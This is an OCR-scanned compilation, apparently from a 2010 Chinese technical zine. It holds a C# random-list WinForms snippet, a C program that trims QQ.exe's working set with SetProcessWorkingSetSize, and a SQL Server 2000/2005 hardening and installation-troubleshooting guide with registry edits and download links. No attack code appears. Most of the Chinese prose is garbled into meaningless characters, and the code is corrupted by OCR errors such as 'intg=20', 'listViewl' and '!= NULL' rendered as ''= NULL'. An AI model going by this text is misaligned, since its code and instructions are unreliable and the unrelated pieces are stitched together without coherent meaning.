MEREERSRREENmE, TLLPRIEE MRS,
TEHXEBHRE, BRXHENABTARES, BERERINEEL—IME, ARIEER
HEMBEFIERSE, BHMERE, FZHRARFUEIATHITIER., B8, &
public void Form1 _Load(object sender, EventArgs e)
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}

private void button2_Click(object sender, EventArgs e)

{

listViewl.ltems.Clear();

if (comboBox1.Text == "")
{
MessageBox.Show("i&iEE FTRIERRIEF, TMHEL ! ", "Warning ! --
>by ovov", MessageBoxButtons.OK, MessageBoxlcon.Warning);
}
else
{
string[,] shuzu = {i%BA: X NMUFHFEZAEHE, HFXRIISBARRR,
FTUAEIET };
Random ¢ = new Random();
intg=20;
inta = 0;
a = int.Parse(comboBox1.Text);
string[] att = new string[al;

string f;
intp=20;
for (intj = 0;j<a ; j++)
{

g= c.Next(0,29);
f = shuzu[q,0];

for (inty = 0; y <=j; y++)

{

if (f == att[y])

{
p=1
break;

}

else
p=0;
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for (intk = 1; k <= 4; k++)
{
listViewl.ltems.Add(shuzu[q, k]);
}
att[jl = f;
}

else

{
—j;

}
}
REXRRAET 2B, SEERE L ERBARIBENAIZ AR,
private void Form1_MouseMove(object sender, MouseEventArgs e)
{
label5.Text = "X:" + e.X.ToString();
label6.Text = "Y:" + e.Y.ToString();
}
}
}

FTBNAFERM IR ——RIE

& &S

AT — P AREREBRINTIE, RERZIEE T SetProcessWorkingSetSize ()&%,
MSDN —F,
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LERR M REL AN -

BOOL SetProcessWorkingSetSize(
HANDLE hProcess,

SIZE_T dwMinimumWorkingSetSize,
SIZE_T dwMaximumWorkingSetSize
);

hProcess 2#f2HA)#E, dwMinimumWorkingSetSize [
dwMaximumWorkingSetSize 53 5|21 EFZF I T BIR/NFIRKZ(E),
HILXMRYINEMRERE—ENEMNRBERNTFRIET, HRANERNENREFESR
T, FIBEIATE, HXMEEEPLSHERN—AXIZRARERNFER, ~d, XMRE2
EMERHEEINANEFE, —BREFRNET, REXSREN S, HXNXMIEHRIERSR
ABHBER, FIEITHESSIERE, MEEN#HRE, IRBEHEBOR/IMUE, FIGAR
F-FNFRE/NT; —BHWEE, XEARERNAFTH#HITERA, XMEMBENEEIET.
FINBESX EHEETAZ VAR, —tIHBRREEN, SHFEMRMENT AFSEENR
ERINE, BENHMEEERT, BNRMEFRRRRIIEEE,

N —ER{CAG

#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>

/*
time: 2010.5.9
by : &

email: Ix#shellcodes.org
SetProcessWorkingSetSize E$ER
*/
int main()
{
PROCESSENTRY32 pentry = {sizeof(pentry)}; JAEFR KN
HANDLE hPSnap =::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
//BITIRER
BOOL bMore = ::Process32First(hPSnap,&pentry); /1SEIENHTE
/B R
while(bMore)
{
if(strcmp("QQ.exe",pentry.szExeFile) == NULL) /B E QQ.exe XN

72
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{
/A0RKE, #A OpenProcess X5 EHIAIINR
//IRHE MSDN %t SetProcessWorkingSetSize Byttt , #I2nMnE
PROCESS SET QUOTA tXBE
HANDLE hProcess = ::OpenProcess(PROCESS SET QUOTA,
FALSE,

pentry.th32ProcessID);
//hProcess N AZFiRIAIRT T OW(E
if(hProcess '= NULL)
/B SetProcessWorkingSetSize &

.:SetProcessWorkingSetSize(hProcess, -1, -1);
else

break;
}

bMore = ::Process32Next(hPSnap,&pentry); /3x15 T — /N i#HiE
}

::CloseHandle(hPSnap); //*H&
return O;

XERCRDER T3 QQ #H2(QQ.exe) BIHIEREM, BB —MARRE, ARHRER
QQ.exe iXMi#iE, MRKETHMITAEWAM, AFHTREFRK,
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gneEsl, ERBRET QQ HRERT SHIARTFA/N:

Hwi%iziT/lR, QQ.exe FIGAKIREFX/, SNE:

tH4&t: ELE's Blog http://hi.baidu.com/lu4nx/blog/index/1
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BHAREEZ SQL Server2000 223 K I i B RENT
YE#: qhl201

HTFREBEARKFTFR, X FHIEERKBMZA —EN THE, RTHERRFIR
LRARNBRRNTBIT—RININ A, UBRFE¥.
R BEEAR T H L
1. SQL Server 2.0racle 3. IInformix 4. Sybase 5. IBM Kj
DB2 6. PostgreSQL 7. MYSQL 8. Access 9. FoxPro

AR IR SQL Server BEAT AT AIMAT, ARFTE%T SQL (Structured Query Language) ,
SR A WIE S o SQL B E 10 I Remt 2 A & P A FE @ ST BR R, EATVE. $ I ANST (36
(5] B SR b Bl 22) BORAE S SQL B 0% R A4 R 8 B R G AR HE T 5 . SQL B A AT LAA SR
AT S0 FERIERAE, ) 00 SR 500 o e, ANBOHE P TR 3R BB 55 . 40K 2 BURAT IV
RATIHE P R G HR A T SQL W8 S s 45 FRIATHE SQL Server 2000 5 & 11 %
X% T L TT R H LAY v R HEAT DA o

SQL Server 2000 A& A45:

SQL Server s& /MK R EE PEE B R G E W] i Microsoft Sybase Al Ashton-Tate
=R A SLETF R T 1988 A T 8 —A 05/2 MUATE Windows NT #fEHH)S Microsoft
55 Sybase {E SQL Server HJJFK LAL/rEHME | Microsoft #f SQL Server #4HF] Windows
NT R4 LTI RHMET SQL Server [#) Windows NT FiiA Sybase M43 F SQL Server
7E UNIX 4 RG LHIN FATEAR TP A A Microsoft SQL Server LAJEfRiFRA SQL
Server B{ MS SQL ServerSQL Server 2000 #& Microsoft /A HEKI SQL Server K
RGP A LR ALK T SAL Server 7.0 KA IR £ RN SLELE N T ¥ 2 55
(¥l B B A5 (68 T 405 P 55 0 S B R FE e S5 A0 s AT BB MIZ AT Microsof't
Windows 98 [ LA FAN F3E4T Microsoft Windows 2000 (1)K %2 LT 88 () R 55 4445 %
S .

AR R

Internet #Eff. SQL Server 2000 ¥ 5| HH2 L5 BEH) XML SCHF. BIL A MR
BRI Web b 5 (K0 BCR A7 A 4L0E B 75 (R P i v« 7T IR 22 45 Thig . SQL Server 2000 F2
Fr it 5 Windows DNA #ZR4ERL, FHRAJTR Web NFHAZER?, JfH SQL Server 2000 3¢
£ English Query M Microsoft #ZRSSFIIRE, 7E Web MIHIREFFHE& 7R ALFH)
AR R R T RE .

Tt
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http://www. skycn. com/soft/13307. html#downUr1Map
TR RE:
NI SQL Server 2000 )14 %% i 2

SQL2000 ZZ2EE3B .. partl. rar (976. 56 KB)

SQL2000 22318 part2. rar (829. 13 KB)

SQL Server2000 M 4% &)+ 575:
1. ZERBHRS A
AT RERES 2, BRI — A INER 2T E] SQL Server 2000 Service
Pack o J4h, REIERIZ LR CRA M2 EEH .
2. ] Microsoft B R LMD (MBSA) RIFMARS BHI LK
MBSA & — ML Fh Microsoft P AL M E M LR, 4 SQL Server M
Microsoft SQL Server 2000 Desktop Engine (MSDE 2000) . ‘& W] LAEAIZAT, ] LLE
WM IEAT o 1 THA N A B SQL Server 224t AT Al :
1) 1% sysadmin [ 5E R 5548 i (0K 5 o
2) T sysadmin EAAMH AR A €6 CmdExec fENV AU .
3) 2 Ek A B B
4) HEF5H S B
5) BTEH A2 MBUR .
6) SQL Server ¥ H s i AN IEHA 19Uy Il 42 % (ACL) .
T) RS AU sa B
8) T guest K it Z ELF].
9) TE[FIERIEIEHI3 M RS HIZ1T SQL Server.,
10) Frei N (Everyone) HMIAIEHIACE, St 4 e i M s vy il o
11) SQL Server fRZ5MK/HIAIEFARCE -
12) &4 L3N BRSSO 22 2 5T .
Microsoft #2fft MBSA (16 %% F#k.
3. f#H Windows SHARAERER
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http://bbs.isbase.net/attachment.php?aid=NTIwMHxjY2EyMTlkMHwxMjk2MTI5NjY3fDM3ODEyMVZJRDhIL1kvZ3dVb3FwY0lIZ3hxWjh6Z2xhM1laUmdPV1Uvc1MyWmpj

FEAT AT VT BE (RN , 18 48 SEiZ X 46 1] SQL Server HIEREER Windows S BHERIR .
BB BRFIX Microsoft Windows HI RIS ik K28, {97 SQL Server %32 K>
Internet THEMREH, MH, LIRS &R Windows 221G sl rh3kas, 405 o
(1 S 13 B UE IS DA R ) R 85 0 S 2 MR AL SRR (] . S5 4h, FRIERIR (FE 2 G IR S5 S IRl
SEUERIRESD) A RETE Windows BHBHAERI P . 7E% 73, Windows & B FALAS
TR B . A0 002 AR UE SQL Server B SN HFEF I £ EIHZ —. BAE
SQL Server ff] Enterprise Manager %% Windows BHRIAIFRET, %1% T 510 Rk .
D EIT RS a4 .
2) fifk iR, RS Sd B,
3) AR SRR, AR Windows.
4. WEERRS S, Fel&sn
PERANE R L AIBRES AL T SQL Server 22 A PR RLA . B B B0 OB A8 R AL T
— AR R 2 BIRA dh J, B i — A RBOHLE  BC & R I DA R K 5 A
SO 2R G0 B P RO A A N B ) 22 A X doh, AN B HSERS] Internet.
WA FTAEIE, FEHS R RAETE 2 A3, RS A
5. FEL—AN RN sa Y
sa M7 RLZ A — A vR R R, BMEFERC B N ER Windows B3 B8R IR 55 2=
AN . SRR ORUELE LAJS IR 55 284 BTG BN TR S L S IR UE R, A2 LA B
FH sa.
FAMIE sa BHG, THIE T AL BERAE:
D BIRS#A, RERITIRS % .
2) JEItzatt, e REEsx.
3) EATTEE T, AT SA, RE TR,
4) R ITHES, AT
6. PR SQL Server ARZFIALFR
SQL2000 A1 SQL Server Agent f&fEN Windows k45847 /1. SRS %205 —A
Windows MK FUARSCE., A AN P FRATAE H 22 4t 1 F S0 SQL Server S sa B3R
JUCHIN WA AR D RU; MHRE R . X ERAE RS0 & A IR S5 SR 0
i 2 A bR SR B o ARG BRI 1, T4 X B SR G0 T REA R SR
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[ A PR AT Moy, BP0 RE (SQL Server HRSSIK M) Al LA HHEAT U5 1] .
I, O SQL Server AR SFAXER T b ZE AR R &+ 7 HEL
BAHEF R R A% E -
1) SQL Server Engine/MSSQLServer
AR T8 5T S, B4 EAIRLZ M dy 44 4 MSSQL$ InstanceName. fENHEA —
JBF FRLBR ¥ Windows 38 K AT o ANEAE AL R G, AN B B O3 A B % K P ok
Z17.
2) SQL Server Agent Service/SQLServerAgent
IR P AT, HEEHZIRS: SIS EA — B P BERE Windows
AR IEAT . AEAENALR S AU R s 5K S ORIEAT

S R TFAIEMEZ — L, 4 SQL Server Agent 475 EAHE Windows 5 EE
SRR :

SQL Server Agent 1§ FHFRHER) SQL Server B I6iEERE S| SQL Server (ANHER) ;

SQL Server Agent f#iJH % 55 3 4545 (MSXD WK, iz F A FH At
SQL Server Bl HEAT %

SQL Server Agent iz473E sysadmin [ € ik 5% # A1 €4 R T HHAT ) Microsoft
ActiveX BIAEL CmdExec fEM.

IR T EE S SQL Server IRSSAHKECHINK 7, 75 SQL Server Enterprise
Manager. Enterprise Manager 4 SQL Server FT A FH ST RIVE A 2 o 4 B 538 AORLIR o
RG] Microsoft B HZHIG I “R4S” (TERHIRAR ) SR Suxsenk /1, [HIXFE T
LTl b R 1) K B T A BN NTFS SCAF RGBS Micorsoft Windows FH FALBR .

K P A S B ESOR AE R — YIRS i3 B A 288 T SR A 7 B B 45 SQL Server LA K SQL
Server Agent AHICEEMIMK T, A4S AH H Enterprise Manager 4355t PAN AR 25 84T 5
S

7. 7EBA k3% 125 SQL Server ¥

SQL Server [{IBRIN 23K Wi AL TCP 310 1433 LUK UDP 3 1434, Fc B AR5 K%
SR Tl 1 o 381K ity 11 (KR Lo T L, S LA AE 9 K K BEL L i s S AR IR 1 A o
.

8. B LA SRS

FeaRH 2010 FH-HIREER © ZFEEH RIFA

118



NTFS 2 f id 5 %2 %% SQL Server WIS RS & b FAT S R G B Aa e HEA 5 kS
i FLE LG — e AR I, 0 SO S ACL BARCCIR N (EFS) o fE 23t f,
IRATNE] NTFS, SQL Server REAEVEM R BN SCAF LI E Sd M) ACL. AML1% % X L
BURR .

it BFS, BdE B SRR AEIBAT SQL Server [RIMK T BH4 FHEAT NS . HATIXAMIK F
AR RS, R TR B HUEAT SAL Server MUK, AL SR IHIK SR
B IX SO, SRIGTERTIR - BRI

9. BIBRERLRY 1H IRy 22 S0

SQL Server 2% SUAT AT R A 7 H A0 S A B B0 A ) SR UE AN A AE 22 B AR il %
FBURIC B A5 B o X8 H ESCIF AR B R T BT 2235 (1 SQL Server MiitAS . 7E SQL Server
2000 1, FHISCAATRERZ BIFE . BRI ZE NS \Program Files\Microsoft SQL
Server\MSSQL\Install SR, DAK & 5E 924l B - \Program Files\Microsoft SQL Server\
MSSQL$\Install 1 sqlstp. log, sqlsp. log Fl setup. iss.

WIRMET RS M SQL Server 7.0 LHETHRMIKM, HAERIZAE T 5L
fE: %WWindir%h CEESEH setup. iss BLK Windows Temp SCAFSEH1K) salsp. logo

Microsoft KAG T —/ 4292 H T E Killpwd, T8 MG 2 G bR B IR i ke
AR

10. HAZIE M SQL Server HIZE#:

SQL Server AILMERHAELE, HT RGEH AN HFAE . 20BNIZICR AL SQL
Server SR, MM EGRXNHE. ERTREMMER T, ANERLIX LS H B FHE
TRAFTE [l — A L

BLLE SQL Server [ Enterprise Manager " A% RIMUESR:, 1544 FHIDIRIEAE:

1) RIS a4,

2) fiERih RS, NS sl e,

3) R AEVEETRINEREL T, iR,

4) BURANEE AR, AU I EH SRS 5%

SQL Server 2000 % 3 [ I i :
—. Sql server &EAR L

) . P44 adninistrators
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(2) . BIEENG “HARPEZE” Aeent, nIdH 7724 H 3¢ T i%#% SETUPMSDE
BEAT 223 B N BIRE Py 223 H S N MSDE,  ##E A\ J5 XUy SETUP.

(3) + Sql server7.0 & Sql Server 2000 AHeZs, AN 7.0 M5 15 2¢2%¢ 2000,
E1#H Sql server?. 0 A IEFEIEI, 2 SHUEM R BDAAAE SQLSERVER HIEMME R, 7ETT4G
SRR B P AETE IR S A B AR IR B0, BT PR AR F 44 8. DLL (S0, A
BE B IR 55 R 2
fER kI AEBATHHIN “regedit” , BEAJEMER, $3 HKEY LOCAL MACHINE yE:MPTH, 7£
PRSI £ SOFTWARE F1 T4 JESic B, K% MicroSoft 77T a6 £ T #) MSSQLServer
T, b AR A SO bR, BT 2eke . 223858 Un , 84T IRSS A BAR N A SRR R A
PGS 44 9. DLL (SCfF,  FE4% I T b 22 4% )5 1) MSDE 05 57 22, W] Ao o

. REEFPEE RFHRRM

CE: ST )i
(1) FTIHEM R
FE IR —" 1847 " BN “regedit”
(2) MIBRIEM 0T B4 -
HKEY CURRENT USER\Software\Microsoft\Microsoft SQL Server
HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server

HKEY LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager
MHB& PendingFileRenameOperations
M B A BT Microsoft SQL Server X ff3Je
(3) EHE:
(4) HEHi2e% SQL Server 2000
U0 B)IX IR R ANRE 2035 Sql server 2000, WA EAEE T OBDC. 78R 4%
~ MDAC_TYP. EXE M {H#HATIER . BRI LA H %%E sql server 2000 T .
=. &% sqlserver FHE, Rp-EEKIBRTT R:
BBEMNE
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TR
E”ﬁtﬁ”**”j\éﬁj—“”%)\ ”regedit”

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager

M54 PendingFileRenameOperations
PO, SQLServer oyt 7~ commandlineoptionsyntaxerror
MR T R AR IR LR ms B VT M AR, BERE PR

7~: command line option syntax error, type command/? for help $RJ5 HHfiE 4ksL, 45

KRB By IEAE 220 HTML B, B ) IUARAEUN html help 1.32 update iR
XFAGHERE 7 : command line option syntax error, type command/? for help #RJ5 3 /i
MEak s, AR IR T HISCA:, Bl 58 SO ) BRI R . BB R B s i
sqlunirl. d11 T4RE ML S E G ZRIEFFFILIETT, EERLZEHE
R
1K e B R R 2, SQLServer (2235 S, TUEH SCH SR #4 SQLServer %235
T, BB SO H 3, 22588 OKo LLimht d: \Bf\Salserver H " §f” 2: 45t
T REIE A A
(1) e B Ak 55 4 e v b
(2)VEM ActiveX ey,
(3) S E] 100%FH) IS 1 v .

BRI P

PERE: G R ERAE, e R AEGE EEA T SQL Server 2000, R LA f
Program Files\Microsoft SQL Server\MSSQL\Data SCff3& /3014

1. Jei8 SQL  Server HIE CEIEAWMA KRR, L FHFERIE

2. M Microsoft  SQL  Server SCAFIEEEANHHL,

3. IBATVEMEER, M BRI

HKEY CURRENT USER\Software\Microsoft\Microsoft SQL Server
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HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server

HKEY LOCAL MACHINE\SOFTWARE\Microsoft\MSSQLServer

4. T[ERERER RN RS

5.

FAME ] 2R P IE T 223 SQL Server 2000 F 77123
LN SQL Server 2000 i

2 E IR —"184T "B\ "F:\x86\setup. exe k=dbg” (F j£)tHh)

R

1. RERIERAE RS RH SQL Server 2000 FRA LA 0 BE 4 1 B 5K

Windows 2000  Server AJLAZZ%e SQL Server 2000 HIEAThA

Windows 2000  Professional HAEZ%E SQL Server 2000 M AR FFARR
PEAtifR . MCDE

2. SQL Server 2000 #&-hiA LK G S PR 225K

75+ #78: command line option syntax error, type command /? for help, 4k&E
ZI%, BIGERE RS HBIORRHIL: TERB|3hAFEE SQLUNIRL. DLL T8 5E HIBE AR+ --

fE T

DR g 22 36 SCAF A A% (SERE 6 4%) BLA R SC. Bt ¢: \SQLSERVER ST AEAR\,  E5Usk
¢ \SQLSERVER\

B HRIER: TEWFFIS.

M I FTA R RS (AR 2 4, dRiERR 4 4, R 2Rk, EREER,
¥ SQL Server 223 H S MVE MR HMIBR, U582k ) J5RK X 222 LLATHIbRHERR,
TR LA R (CART 223N RN T 515 (KD BRI R B, iR R R E
f¥) 7 o

fB R T
FTIFEM LI

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager, ¥4
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SafeDLLSearchMode 1%~ DWORD HJBE{E S 0, 405 B3EA 16 st A1 XA DWORD 287 (e ,
SRIE T LAk 235 T .
J\\ sql server 2000 Z3&Hi%H, TIERBIFIBHEEE sqlunirl. d11

GRS A, O AR, 4axd T LU, ML T2 R0 % T sql server
2000, T H A LAIEE A, R4 RRRTCEERLBIA MBI FE, F1HERE, M T program
files B ms sql M H, RIEER sql, RMARE—PHBHESER, LEBREE. 5
RMER T — 2R sql server fFE CHRMIER) , HEM, M ILIXFER 52
AT SRR, &GN R AN TCVE IR 5

fRR TR 242 H I MDAC ZHF 2235 R I, IR E B E 3 microsoft of fice M{R4H
H$E sql server, TMRFEMN I “EINTF ECEREE —ADLF” WIRRE, WL
B program files\Microsoft SQL Server ¥, i 2%:

ISR Z) BRI ABIRE, ATRUAZETE sql server A2 U R BIX AN 3L
P, ZHIZIRGHIETH system Al system32 CAEIErH (—MAE HBUX AN R B, #l4
PEIRUR JUA ST BRI AN SO o 2 I e A R T G B IR 4% A R R, ATLARE F—F
WIRPN (AR
BEHE R ST BATE R G0 H Sk T RE, gk R Ge2 win2000, JZSCHHE
C:\WINNT\sqlstp. log

Ji. B “RERFH/RK, SERGHERY” M3l B ExER

JREE: RGHCEAFFE Microsoft SQL Server Desktop Engine ZZ3¢%IK.

fifkIpZ: MSDE 2000 B3R %% Microsoft Internet Explorer 5.0 BURE ffRAS. #i%
INGIEFE RS, Internet Explorer ANahigERiANI AR

(1) HImEAR” dr, Xk “Pa s .

(2) 18 “mg” R, Hid “mgikE” .

(3) 12 “IERCARANGEE” IR L, #Eikh T “Microsoft W& iy SCAFFI4T EALAL

MR TIME— LW O BN “4Rib2edE” , N MSDE 2000 ‘222544 JI4C:
Windows XP AN 22 4 5RME “ W4 : RELIKNFEF I 2225 84E” - Windows 2000 F)
AR “RBELZAEIRGIFE P 223 R o WSER T “EEabd” WE, N
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FE22%¢ MSDE 2000 Z FiRiZBEE H SOy “BONGREL” o I b B, W IAE e 2 2 Ja B
MR FON AR RE . W] 4RI AR R BN E . B E XY
Mg, EHAT T HIRAE:

(1) fE “FHIm” b, Wi “EETR” .

(2) « My “AHbz4Kng" .

(3)  BIF “AHHHE” .

M AR .

WERAE 223 MSDE 2000 ZHT, A7 ks ML Ig i B “BOAGREL” = X T
Windows NT 1 Windows 2003: “#4%: R4 WNFLF I ZHEEAE” o« XT Windows 2000:
“CRZAARIRANFR T 1 LR RAE”

T RS DA 2221 sqlserver H M.

T HBL “HRREM LA BT

ff T 1%: ¥ SQL Server WA MINIIINBRFR P MBS  JFHs D42 %2461 sqlserver
HMBR . A TR DR S AR R 3, SRR R E B2 IR | E &
WEEILL RS : COM+ System Application. Application Management. ASP.NET State
Service. Distributed Transaction Coordinator. HTTP SSL. Remote Procedure Call (RPC)
Locator fifif: JFIA—>iB T —>services. msc FHU—MRIE HHBEMHS N “AZ”
C&REN, MAEKT, ST, HadiEsIRS!

Ty 3 SQL server W EFEIFIRZERE, BT RE A W AZFAIFHE TR
SETUP SR ARG “ ) — N7 BHNETEIBAT” & TIFA, R RRPIE” (L5 E A
R CBAWR” St R T, A EREESIR T . U5 IETERC B IS RS ANE)
7.

fBR TV

(1) fTIHEM R

TE IR —"181T7 " BN “regedit”

(2) $% R ri T

+ HKEY_LOCAL_MACHINE

+ SOFTWART+ Microsoft

+ Windows
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+ CurrentVersion
+ Setup
+ ExceptionComponents
(3) ¥4 ExceptionComponents | H) 3 Je4 0 MMER !
n
{60BFF50D-FB2C-4498-A577-C9548C390BB9} {60BFF50D-FB2C-4498-A577-C9548C390BBI}

{60BFF50D-FB2C-4498-A577-C9548C390BB9} {60BFF50D-FB2C-4498-A577-C9548C390BB

(4) EHE:

(5) FEHIE{T SQAL Server 2000 [, EELLH .

(6) HEFIZAT SQL Server 2000 ff172%%, whmgl, BEEME.
KFALLT o TE/8 8RS 28 Al 22 35 1R B O T B 45 1A 3))

IHE: win2000PRO , %3 SQL Server 2000 4MVfR. T ntswitch.

SQL Server 2005 4} 43:
AU BB R 0 T7 RMIEL, SQL Server 2005 445 ik S AT AOME . HBIRAITIREA
BEh N0 I AR AR5
SQL Server 2005 HALE T AEH F @ MBI : @M —ANE 24 A ERIEU A
PWEHTE, Rt AZUR PR )], KIEHRT 1T 3 3R I B RIE 4 XU AL
A B AR ARSI R L BT S R A LSS IR S SR AL IR TN 2 A
RE TR, MM TG BN S5k [ARE, SQL Server 2005 K ffk—/MK
Ry A RGN R &, AW RGN A 230, S8 Internet L5 HEL,
(a8 & ST LER AN IR R
SQL2005 7 FLANHRAS, 4n R A,
1. Enterprise (2MVAR),
2. Development (FF R JR),
3. Workgroup, (TAEREAR)
4. Standard, (bxifEfR)

5. Express.
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K42 A TRATT N A2 0 4] 25 BEAT BT 2

WATEIX B — A AT EL L Enterprise, Development Ml Express %5 =AMEA: LA
eI &, Enterprise i1 Development RRIIINRE—HEi—FE. W& IIZER], B T BAUAFE
bh, BFEMZERZ:  Enterprise WRIVAEE 51 % X HE 224 7E Win2003Server (B HAt:
Server) . WIRVREEZ2ETE WindowsXP Pro R4t L, #R81%%%E SQL2005Development fiz. 1R
% NF# SQL2005Express filt, BINERATE, (H2TH/DH 2T SQL2000 TR “ Al
HHEE” A “EWMHTART o

B, RIS, RO R ], WRIRMI SR WindowsXP Pro, 4,
IRILZIEFE )2 SQL2005Development (JFACRR) » 1A SQL2005Enterprise (4lk i) BY

SQL2005Express (f&i Z i) »

SQL Server 2005 4F 14

SQL Server 2005 A8 JUANE Al B 5 BE oSG (1 1 5 «
5y T

CID;ERES
A fifr g Pk

o B B

SQL Server 2005 {fi#iE . B ELAAL AV AR o TR FR 7 AR AF B (T o BE A
Gyo AER—A MV EHREEF &, B gt — B bl &, (S8 L R AE AT Ty i
M AN Al b B A OB EEAIAR G IR SS . B3t T — AN AT LU SQL A Hn
GERRA AR I AT ™ R 1) TR R A ), 945 P R DASE A0 FAAT (0 A5, [ B A
SCRAFERIRG  (ISV) L RE S QIR B i T H ATk S 4 g e 41 71 RI1S i e

SQL Server Management Studio

SQL Server 2005 i HEAL—NERUKE BRG] G R A B SQL Server K&K
#8E . Integration Services. Analysis Services. Reporting Services. Notification
Services PLKRFEHUEARZ 170 A IR ST 25 A& 2 L SQL Server Mobile Edition, M
i AT A T AR . B P L RE S IR I AAT 2 AMT 55, B, e 'S FIBAT B, S5 R
FEAG, BEHNR, WMARGENMEFEBRIAEL . SAL Server Management Studio #i
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BT —ANFFRAEE, EHFEA Transact-SQL. Z4E%IAZ. XML for Analysis A1 SQL
Server Mobile Edition K45 . %Al H AR #id 2. Management Studio A LAfR
7 G SUEARTD b B R /E—ii2 . Management Studio JEELHE—e T H W] FISRIMEE SQL
Server IR EIAEY TR, DLASIAT HH A FERIEAES . BRI A Y S 4 )
FER—THo, FR, ZTRRAEETARUNIRS SRR, B e B RT3t T
SRR A AR
SQL Server 2005 FFALT 70 2N PR AR R M e AN BE IR P IR B BRA, A T
MR BIUE B0 55 . WMZE AL 1/0 HHEESS . XEeahEHALEl (DMV) $ft 7 x4
1 P AR R A 10 it 45 g ) B A (s B R RV T DL, T DA B M 00 e PR L R i
SQL EHEXF 4
SQL EEEXT SR (SMO) R —AHMn] gmfexd R&E, B SLHFTH SQL Server HHiFE (M)
FHIRE. L, Management Studio MiEMETE SQL FHHLXTRZ L. SMO JE1EHN
Microsoft .NET Framework F2/F#ESEILN. ATLMEA SMO HBh#h 7% WA SQL Server
FEMLS, Fln, MAmEr AR RIERE, (EHEdEE, B Transact-SQL A%, Al
# SQL Server fRIRAEML AR5, SMO X RBIRIEAR T A A1E SQL Server FHIART
AR AT BN R (DMO) , R DRy B 22 4 ] S5 B B i ) T A 47 4
1N ERES
TER AT RMEROR . M SRR E TR, LA G50 b 5 52 A Lk e 5 1y 2
B E A N T . ] Y LRBIHTE . SRR . MR R TR . Bl AR
FORESR M DEALRAE, XA B TS MEFEHLI (8], R ER AT LAV 1) GBI Al R G
TEHE
http://www. cnzz. cc/Soft/2047. html
TR

SQL2005 Z&Ef#. partl. rar (976. 56 KB)

SQL2005 Z23E EfR. part2. rar (236. 09 KB)

SQL Server 2005 % %% [a] I i -

—. SQL2005 %3t FEHEIN com+ H A B 4 AbHE
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http://www.cnzz.cc/Soft/2047.html
http://bbs.isbase.net/attachment.php?aid=NTIwOXw2NGI0YWUxOXwxMjk2MTI5ODM1fDMyOGEzNDNHYmUzTWNRSytyT1QveWJ0LzVTcGJnaWlTRFFOZ0s1aGtKZVFJU0hZ
http://bbs.isbase.net/attachment.php?aid=NTIxMHxlMTQ0NjY3YXwxMjk2MTI5ODM1fDMyOGEzNDNHYmUzTWNRSytyT1QveWJ0LzVTcGJnaWlTRFFOZ0s1aGtKZVFJU0hZ

AR -

L. 4R SQL Server Z3SFE/F RN, REFRFHENRTZHEM ARG, HATGEALM
BRETA .manifest . MRVTIEREM ARSI, SRIEEHISIT ZERT . 7RV
BR, HZSH “UTiE SQL Server ZZEE AR COM+ A AL KM R &7 o W ARIBAT
Microsoft AT FHALELPM A (MSDTC), B3, 7EMIA] Microsoft HEAEMRZS#5MITH N
T, IR MS DTC ANERHEDTUR, WATgE KA COM+ #fiR. COM+ {K#iT MS DTC, T
Integration Services AU S BAFESAKHET COM +. W HPL coM+ %, R A%
COM+ ZRZEIEWIMCE )5, Integration Services H1AIE EBAFIES AT,

2 XTERE ML THECEHE M REPAT RAM BB AR ARFMEE, ESH AR
AL SQL Server BXHLAT ) “Uifal e SQL Server 2005 i Ay7edEfe 1Nt £ ds ik
MERTUE” «  wRdik.

BERBEVLAR, B UOTRR:

1. Microsoft SQL Server 2005 ZEFEFHer COM+ 2 CIEMICE. WRAINE
R, PR aks:, HRERGEEMA (SCC) b EB/RbINES:  “ailf SqL
Server ZHFRFPRIM, ZHFEF ¥ FIRFTHAT IO 224, HATREA S MIBRFTA K . manifest
SCfF . RIS B XSO, SRS ERNSAT R . 7 WAURIEAT Microsoft 4y
ARG IR % (MSDTC) , 5, 7EMEF Microsoft BEEEARSS#SAIIELL T, W MS DTC
AEREE I, MIATRES KA COMF HfiR. COM+ #K#i T MSDTC, ifi Integration Services
T B BAIES M T COM +. fn S Bl coM+ 4%, M HAH CoM+ R IEHECES,
Integration Services WA ERAIAES AT . 25 ZALEHTHE B CFFR MSMQD , 17
ff MS DTC IEfEIZfr It HE IEMRCE . Wi SQL Server ZHfr#E4 I, W MS DTC 22
BEAETLUR . #IR A AR o e e COM+. 3SR S HEH 0 76 Windows S L,
& “HFm” , SRR BT
fE “HTIF” MEFR, B WC, SRJEHS “HIE” .
£ “ptla” @od, sk e sefR” , ARERE T/ MBRE R
FE Ui/ MIBRE BRI EH, S R .

T “USIRSCAFLRIC” &0, WEIRIChIR g “AIRE” . R5sd “mm” .
B CORHTT LLOGH] U INBNIE R OT” EW O, SRR R DK “asin/ mipR
HEIT” & fE R AR RN\A RS E I, RIT ARG W X CoMt
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LT, R B T RE R AR TT . FRIUEAT SQL Server 2005 ZAGAERF. WRWLE]
HORIH S, TEERT R COMt. HHT 2% COM+
MEEHITARE “RINsMBRAR v, gl “Wshn/MiBk Windows HAF” o #E “Windows 4
Trrs” B, AXBRBHUEMES, Bd T2 o —HRHLERINS, K5 FHKIET
SQL Server 2005 ‘“ZIEFLFF.
2. £ SQL Server ZHETFHART, Microsoft SQL Server ZZ&FEF o223 ic B /7%

#5 (SCO) ZEETHEER MR I E . Wik SCC ToikIuEIA rvEM LD, B SCC Ttk
BT lodctr.exe RGFEFF, M SCC A drox I, B2 . HHRmiETFMES™E
WM R G . BRI AT, BOUER T EL ETE =2 . Fah B i
MR DUFIE ETE Microsoft Windows 2003 B¢ Windows XP ST b, fKkHdi “IFas” .

“IBATT , RRTE “FTIF BN regedit. exe, PRI “HiE” . 7E Windows 2000 Hr,
fiH] regedtd2. exe JBBNEMRIBEAS. & LLF LU FE MR-
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib] “Last
Counter”=dword:00000ed4 (5276) “LastHelp”=dword:00000ed5 (5277) E—# ] “Last
Counter” f (5276) W5 L FIFEMETIH “Perf1ib\009” ) “Counter” i [ #x K UL
fe, JEH LE—5/ “Last Help” fH (5277) W25 LA RIEMRIIH “Perf1ib\009” )
